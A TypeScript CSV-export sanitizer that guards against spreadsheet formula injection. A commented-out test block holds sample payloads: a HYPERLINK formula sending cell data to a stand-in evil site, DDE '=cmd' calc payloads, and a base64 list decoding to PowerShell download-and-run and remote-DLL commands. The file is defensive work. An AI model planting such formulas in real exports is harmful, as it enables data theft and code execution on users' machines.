Json2CSV against injections

json2csv.ts

const csv_safe_quote = '"';
const csv_safe_escapedQuote = '""""';

function safe_csv_item(item:any) : string {
    try {
        if (item === "") {
            return '""'
        }

        // Force string:
        item = typeof item === "string" ? item: `${item}`;

        let isNumber = /^[0-9\+\-\.\,]+$/.test(item);
        if (isNumber) {
            return `"${item}"`;
        }
        else {
            // https://github.com/mrodrig/json-2-csv/blob/ab9e1d0f5472002cc50262848e1649dcacc0c384/src/json2csv.ts#L337
            item = item.replace(/^[=+\-@\t\r]+/g, '');

            // https://github.com/juanjoDiaz/json2csv/blob/main/packages/formatters/src/stringExcel.ts
            item = `"=""${item.replace(new RegExp(csv_safe_quote, 'g'), csv_safe_escapedQuote)}"""`

            return item;
        }
    }
    catch(e) {
        return "[CSV-ERR]"
    }
}

function isNully(x: any) {
    return x == undefined || x == null || (typeof x == "number" && isNaN(x))
}

export function safe_csv_fromObjList(list: Array<{[key:string]:any}>, headerKeys : string[]|null = null, newline = "\r\n") : string {
    try {
        if (!list || !Array.isArray(list)) {
            return "[CSV-NON-ARR]"
        }
        list = list || [];
        let result = "";

        // de-dupe keys
        let keySet = new Set<string>(); 
        list.forEach(item=>
            Object.keys(item||{}).forEach(
                key=>keySet.add(key)
            )
        )
        
        // Make header object
        let keys: string[] = headerKeys || [...keySet.values()];
        let header =  headerKeys || Object.fromEntries( keys.map(e=>[e,1]) );

        // Make new list
        let safeList = list.map(item=> 
            keys.map(key=> 
                safe_csv_item(isNully(item[key]) ? '' :  item[key])
            ).join(',') 
        )

        // Make safe key header
        let safeHeader = keys.map(key=>safe_csv_item(key)).join(',')

        result = safeHeader + newline + safeList.join(newline); 

        return result;
    }
    catch(e) {
        return "[CSV-LST-ERR]"
    }
}

/*
console.log('________________________________________')

console.log(safe_csv_fromObjList(
    [{a:1},{b:2},{a:33,b:5}]
))

console.log('________________________________________')

console.log(safe_csv_fromObjList([{
    "_id": "aaaaaaaaa000000000",
    "createdAt": 1232153632759,
    "updatedAt": 1275063311561,
    "username": "yoni",
    "firstName": "=HYPERLINK(“http://MyExtremelyEvilSite.com?leak=”&A1&” “&B1)",
    "lastName": "=cmd|'/C calc'!A0",
    "__typename": "Profile",
    "roles3": "Admin",
    "emails.address": "yoni@example.com",
    "__typename": "EmailRecord",
    "ssoLogin": "",
    "phone": "",
}]))

console.log('________________________________________')


// https://github.com/payloadbox/csv-injection-payloads/blob/master/Intruder/csv-payload.txt
// See also: https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/CSV%20Injection/README.md

const example_csv_payloads = "RERFICgiY21kIjsiL0MgY2FsYyI7IiFBMCIpQTAKQFNVTSgxKzkpKmNtZHwnIC9DIGNhbGMnIUEwCj0xMC" + 
    "syMCtjbWR8JyAvQyBjYWxjJyFBMAo9Y21kfCcgL0Mgbm90ZXBhZCchJ0ExJwo9Y21kfCcvQyBwb3dlcnNoZWxsIElFWCh3Z2V0IGF0dGFja2" + 
    "VyX3NlcnZlci9zaGVsbC5leGUpJyFBMAo9Y21kfCcvYyBydW5kbGwzMi5leGUgXFwxMC4wLjAuMVwzXDJcMS5kbGwsMCchX3hsYmdubS5BMQ=="

console.log(safe_csv_fromObjList([
    ... atob(example_csv_payloads).split(/\r?\n/).map(e=>({payload:e}))
]))

*/